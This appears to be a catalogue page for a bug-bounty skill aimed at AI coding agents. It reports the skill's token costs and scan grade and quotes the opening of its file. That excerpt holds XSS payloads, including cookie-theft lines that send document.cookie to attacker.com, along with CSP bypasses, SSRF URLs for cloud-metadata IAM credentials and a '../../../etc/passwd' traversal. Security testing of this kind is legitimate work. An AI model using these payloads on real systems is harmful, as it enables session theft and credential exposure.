security-arsenal

security-arsenal is a skill for Claude Code, Codex from Mikacr1138/claude-bug-bounty. It costs 84 tokens per session (3,104 once invoked), scanned B, original, MIT.

A reference of security-testing payloads, bypass methods, search patterns, wordlists, and rules for deciding whether a bug is worth submitting.

In plain words
What is it for?
Use it when checking for XSS, SSRF, SQL injection, XXE, IDOR, or path traversal, including testing bypasses and judging whether a finding is reportable.
Why use it?
It reduces guesswork when testing common web vulnerabilities and helps avoid reporting issues that are normally rejected.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is ../../../etc/passwd.

Good fit Use it when checking for XSS, SSRF, SQL injection, XXE, IDOR, or path traversal, including testing bypasses and judging whether a finding is reportable.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/Mikacr1138/claude-bug-bounty
agentmods
npx agentmods add skills/mikacr1138/claude-bug-bounty/security-arsenal

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for security-arsenal

README.md
[![agentmods](https://agentmods.dev/badge/skills/mikacr1138/claude-bug-bounty/security-arsenal/github.svg)](https://agentmods.dev/skills/mikacr1138/claude-bug-bounty/security-arsenal)
Your own site
<a href="https://agentmods.dev/skills/mikacr1138/claude-bug-bounty/security-arsenal"><img src="https://agentmods.dev/badge/skills/mikacr1138/claude-bug-bounty/security-arsenal/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for security-arsenal

Your own site · 80×15
<a href="https://agentmods.dev/skills/mikacr1138/claude-bug-bounty/security-arsenal"><img src="https://agentmods.dev/badge/skills/mikacr1138/claude-bug-bounty/security-arsenal.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 84 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,104 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00084 $0.03104
Opus 5 $0.00042 $0.01552
Sonnet 5 $0.00017 $0.00621
Haiku 4.5 $0.00008 $0.00310

Measured 11d ago against content hash 8b2206603485, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade B, and why

security-arsenal scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

http://169.254.169.254/latest/meta-data/

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

skills/security-arsenal/SKILL.md · 415 lines

How it starts

The opening of the file, as written. The whole thing — 415 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SECURITY ARSENAL

Payloads, bypass tables, wordlists, and submission rules.


XSS PAYLOADS

Basic Probes

<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
javascript:alert(document.domain)

Cookie Theft (proof of impact)

<script>document.location='https://attacker.com/c?c='+document.cookie</script>
<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
<script>fetch('https://attacker.com?c='+btoa(document.cookie))</script>

CSP Bypass Techniques

// If unsafe-inline blocked — use fetch/XHR
<img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">

// If script-src nonce present — find nonce reflection
<script nonce="NONCE_FROM_PAGE">alert(1)</script>

// Angular template injection (bypasses many CSPs)
{{constructor.constructor('alert(1)')()}}

// React dangerouslySetInnerHTML reflection
// Vue v-html binding

// mXSS (mutation-based XSS)
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

// Polyglot (works in HTML/JS/CSS context)
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>

DOM XSS Sources and Sinks

// Sources (user-controlled input)
location.hash
location.search
location.href
document.referrer
window.name
document.URL

// Sinks (dangerous)
innerHTML = SOURCE
outerHTML = SOURCE
document.write(SOURCE)
eval(SOURCE)
setTimeout(SOURCE, ...)   // string form
setInterval(SOURCE, ...)
new Function(SOURCE)
element.src = SOURCE      // javascript: URI
element.href = SOURCE
location.href = SOURCE

SSRF PAYLOADS

Cloud Metadata

# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/instance-identity/document

# GCP
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Header: Metadata-Flavor: Google

# Azure IMDS
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Header: Metadata: true

Read the full file on GitHub · 415 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 11d ago First seen · 415 lines · 84 tokens per session scan B 8b2206603485

Subscribe to this mod's changes

security-arsenal is a skill published in the GitHub repository Mikacr1138/claude-bug-bounty (2 stars, last pushed today), licensed MIT. It adds 84 tokens to every session and 3,104 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it B with 1 finding (cloud metadata endpoint). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

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